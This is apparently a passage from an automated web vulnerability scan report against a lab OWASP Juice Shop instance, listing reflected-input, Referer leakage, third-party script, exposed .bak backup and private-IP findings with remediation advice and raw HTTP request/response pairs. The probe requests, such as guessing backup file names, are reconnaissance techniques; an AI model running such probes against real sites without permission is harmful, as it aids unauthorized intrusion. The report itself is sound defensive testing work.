    "stack": "Error: Unexpected path: /rest/captchavx65oq8eav/\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/juice-shop/node_modules/exSnip





[bookmark: 3894978716298856448]
Input returned in response (reflected)


/rest/continue-code

Issue detail:



The value of the URL path filename is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/continue-codel18a7t8qfs HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Cookie: language=en





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:01:57 GMT

Connection: close

Content-Length: 1872



{
  "error": {
    "message": "Unexpected path: /rest/continue-codel18a7t8qfs",
    "stack": "Error: Unexpected path: /rest/continue-codel18a7t8qfs\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/juice-shop/node_modules/expSnip





[bookmark: 2697963072061944832]
Input returned in response (reflected)


/rest/languages

Issue detail:



The value of the URL path filename is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/languageswdfhy8prx4 HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:01:37 GMT

Connection: close

Content-Length: 1864



{
  "error": {
    "message": "Unexpected path: /rest/languageswdfhy8prx4",
    "stack": "Error: Unexpected path: /rest/languageswdfhy8prx4\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/juice-shop/node_modules/expSnip





[bookmark: 2440437662691995648]
Input returned in response (reflected)


/rest/memories/

Issue detail:



The value of the URL path folder 2 is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/memorieskd81qgz28m/ HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:06:55 GMT

Connection: close

Content-Length: 1864



{
  "error": {
    "message": "Unexpected path: /rest/memorieskd81qgz28m/",
    "stack": "Error: Unexpected path: /rest/memorieskd81qgz28m/\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/juice-shop/node_modules/exSnip





[bookmark: 6007627659483878400]
Input returned in response (reflected)


/rest/products/search

Issue detail:



The value of the URL path folder 2 is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/productskarklobype/search?q= HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Cookie: language=en





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:27:35 GMT

Connection: close

Content-Length: 1882



{
  "error": {
    "message": "Unexpected path: /rest/productskarklobype/search?q=",
    "stack": "Error: Unexpected path: /rest/productskarklobype/search?q=\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/juice-shop/node_mSnip





[bookmark: 4997940057094536192]
Input returned in response (reflected)


/rest/products/search

Issue detail:



The value of the URL path filename is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/products/searchwtbfmssd3u?q= HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Cookie: language=en





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:41:26 GMT

Connection: close

Content-Length: 1882



{
  "error": {
    "message": "Unexpected path: /rest/products/searchwtbfmssd3u?q=",
    "stack": "Error: Unexpected path: /rest/products/searchwtbfmssd3u?q=\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/juice-shop/node_modules/Snip





[bookmark: 8626335375613057024]
Input returned in response (reflected)


/rest/user/whoami

Issue detail:



The value of the URL path folder 2 is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/user6offkayile/whoami HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:25:00 GMT

Connection: close

Content-Length: 1868



{
  "error": {
    "message": "Unexpected path: /rest/user6offkayile/whoami",
    "stack": "Error: Unexpected path: /rest/user6offkayile/whoami\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/juice-shop/node_moduSnip





[bookmark: 8434752972401435648]
Input returned in response (reflected)


/rest/user/whoami

Issue detail:



The value of the URL path filename is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/user/whoamimr79fg352a HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:53:24 GMT

Connection: close

Content-Length: 1868



{
  "error": {
    "message": "Unexpected path: /rest/user/whoamimr79fg352a",
    "stack": "Error: Unexpected path: /rest/user/whoamimr79fg352a\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/juice-shop/node_modules/expSnip











[bookmark: 2400756667544140800]
Cross-domain Referer leakage


/redirect

Issue detail:



The page was loaded from a URL containing a query string:		http://192.168.186.128:3000/redirect



The response contains the following link to another domain:		https://github.com/bkimminich/juice-shop








Issue background




When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.


If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.


You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.


Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.


Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application. 






Issue remediation




Applications should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties. If placing sensitive information in the URL is unavoidable, consider using the Referer-Policy HTTP header to reduce the chance of it being disclosed to third parties.






References




		Referer Policy


    		Web Security Academy: Information disclosure








Vulnerability classifications




		CWE-200: Information Exposure








Request:


GET /redirect?to=https://github.com/bkimminich/juice-shop HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 302 Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Location: https://github.com/bkimminich/juice-shop

Vary: Accept, Accept-Encoding

Content-Type: text/html; charset=utf-8

Content-Length: 124

Date: Fri, 22 Jul 2022 17:05:10 GMT

Connection: close



<p>Found. Redirecting to <a href="https://github.com/bkimminich/juice-shop">https://github.com/bkimminich/juice-shop</a></p>










[bookmark: 6400980213197697024]
Cross-domain script include


/

Issue detail:



The response dynamically includes the following scripts from other domains:		http://cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js

		http://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js








Issue background




When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.


If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application. 






Issue remediation




Scripts should ideally not be included from untrusted domains. Applications that rely on static third-party scripts should consider using Subresource Integrity to make browsers verify them, or copying the contents of these scripts onto their own domain and including them from there. If that is not possible (e.g. for licensing reasons) then consider reimplementing the script's functionality within application code.





References




		
Subresource Integrity









Vulnerability classifications




		CWE-829: Inclusion of Functionality from Untrusted Control Sphere








Request:


GET / HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Fri, 22 Jul 2022 15:18:53 GMT

ETag: W/"7d2-182267d7748"

Content-Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:06:33 GMT

Connection: close

Content-Length: 2002



<!--
  ~ Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors.
  ~ SPDX-License-Identifier: MIT
  --><!DOCTYPE html><html lang="en"><head><base href="/">
  <meta charset="utf-8Snip
<link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">
  <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>
  <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>Snip











[bookmark: 8632033058679350272]
Backup file


/ftp/coupons_2013.md.bak

Issue origin



This issue was generated by the extension: .bak




Issue description




Publicly accessible backups and outdated copies of files can provide attackers with extra attack surface. Depending on the server configuration and file type, they may also expose source code, configuration details, and other information intended to remain secret.






Issue remediation




Review the file to identify whether it's intended to be publicly accessible, and remove it from the server's web root if it isn't. It may also be worth auditing the server contents to find other outdated files, and taking measures to prevent the problem from reoccurring. 





References




    		Web Security Academy: Information disclosure via backup files








Vulnerability classifications




    		CWE-530: Exposure of Backup File to an Unauthorized Control Sphere


    		CAPEC-37: Retrieve Embedded Sensitive Data


    		CAPEC-204: Lifting Sensitive Data Embedded in Cache








Request 1:


GET /ftp/coupons_2013.md.bak HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response 1:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:24:44 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip
<h1>OWASP Juice Shop (Express ^4.17.1)</h1>Snip
<li> &nbsp; &nbsp;at /juice-shop/node_modules/serve-index/index.js:145:39</li>Snip
<li> &nbsp; &nbsp;at FSReqCallback.oncomplete (node:fs:199:5)</li>Snip


Request 2:


GET /ftp/ncmw.bak HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response 2:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:24:45 GMT

Connection: close

Content-Length: 2030



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip
<h1>OWASP Juice Shop (Express ^4.17.1)</h1>Snip
<li> &nbsp; &nbsp;at /juice-shop/node_modules/serve-index/index.js:135:16</li>Snip
<li> &nbsp; &nbsp;at FSReqCallback.oncomplete (node:fs:198:21)</li>Snip





[bookmark: 5796871603919738880]
Backup file


/ftp/package.json.bak

Issue origin



This issue was generated by the extension: .bak




Issue description




Publicly accessible backups and outdated copies of files can provide attackers with extra attack surface. Depending on the server configuration and file type, they may also expose source code, configuration details, and other information intended to remain secret.






Issue remediation




Review the file to identify whether it's intended to be publicly accessible, and remove it from the server's web root if it isn't. It may also be worth auditing the server contents to find other outdated files, and taking measures to prevent the problem from reoccurring. 





References




    		Web Security Academy: Information disclosure via backup files








Vulnerability classifications




    		CWE-530: Exposure of Backup File to an Unauthorized Control Sphere


    		CAPEC-37: Retrieve Embedded Sensitive Data


    		CAPEC-204: Lifting Sensitive Data Embedded in Cache








Request 1:


GET /ftp/package.json.bak HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response 1:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:20 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip
<h1>OWASP Juice Shop (Express ^4.17.1)</h1>Snip
<li> &nbsp; &nbsp;at /juice-shop/node_modules/serve-index/index.js:145:39</li>Snip
<li> &nbsp; &nbsp;at FSReqCallback.oncomplete (node:fs:199:5)</li>Snip


Request 2:


GET /ftp/zohr.bak HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response 2:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:20 GMT

Connection: close

Content-Length: 2030



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip
<h1>OWASP Juice Shop (Express ^4.17.1)</h1>Snip
<li> &nbsp; &nbsp;at /juice-shop/node_modules/serve-index/index.js:135:16</li>Snip
<li> &nbsp; &nbsp;at FSReqCallback.oncomplete (node:fs:198:21)</li>Snip











[bookmark: 6575132415613763584]
Private IP addresses disclosed


/rest/admin/application-configuration

Issue detail:



The following RFC 1918 IP address was disclosed in the response:		192.168.99.100



This issue was found in multiple locations under the reported path.




Issue background




RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organization, the private addresses used internally cannot usually be determined in the same ways.


Discovering the private addresses used within an organization can help an attacker in carrying out network-layer attacks aiming to penetrate the organization's internal infrastructure. 






Issue remediation




There is not usually any good reason to disclose the internal IP addresses used within an organization's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.





References




    		Web Security Academy: Information disclosure








Vulnerability classifications




		CWE-200: Information Exposure


    		CAPEC-37: Retrieve Embedded Sensitive Data








Request 1:


GET /rest/admin/application-configuration HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response 1:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"4967-mk/ZLlN6r2BCMkBVNI+FpR4xKCc"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:04:47 GMT

Connection: close

Content-Length: 18791



{"config":{"server":{"port":3000,"basePath":""},"application":{"domain":"juice-sh.op","name":"OWASP Juice Shop","logo":"JuiceShop_Logo.png","favicon":"favicon_js.ico","theme":"bluegrey-lightgreen","shSnip
://local3000.owasp-juice.shop"},{"uri":"http://localhost:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://127.0.0.1:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://192.168.99.100:3000","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://192.168.99.100:4200","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:3000","proxy":"https://localchromeos.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:4200","prSnip


Request 2:


GET /rest/admin/application-configuration HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en; welcomebanner_status=dismiss

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response 2:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"4967-mk/ZLlN6r2BCMkBVNI+FpR4xKCc"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:21:50 GMT

Connection: close

Content-Length: 18791



{"config":{"server":{"port":3000,"basePath":""},"application":{"domain":"juice-sh.op","name":"OWASP Juice Shop","logo":"JuiceShop_Logo.png","favicon":"favicon_js.ico","theme":"bluegrey-lightgreen","shSnip
://local3000.owasp-juice.shop"},{"uri":"http://localhost:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://127.0.0.1:4200","proxy":"https://local4200.owasp-juice.shop"},{"uri":"http://192.168.99.100:3000","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://192.168.99.100:4200","proxy":"https://localmac.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:3000","proxy":"https://localchromeos.owasp-juice.shop"},{"uri":"http://penguin.termina.linux.test:4200","prSnip


Response 3:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"4967-mk/ZLlN6r2BCMkBVNI+FpR4xKCc"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:21:36 GMT

Connection: close

Content-Length: 18791



{"config":{"server":{"port":3000,"basePath":""},"application":{"domain":"juice-sh.op","name":"OWASP Juice Shop","logo":"JuiceShop_Logo.png","favicon":"favicon_js.ico","theme":"bluegrey-lightgreen","shSnip
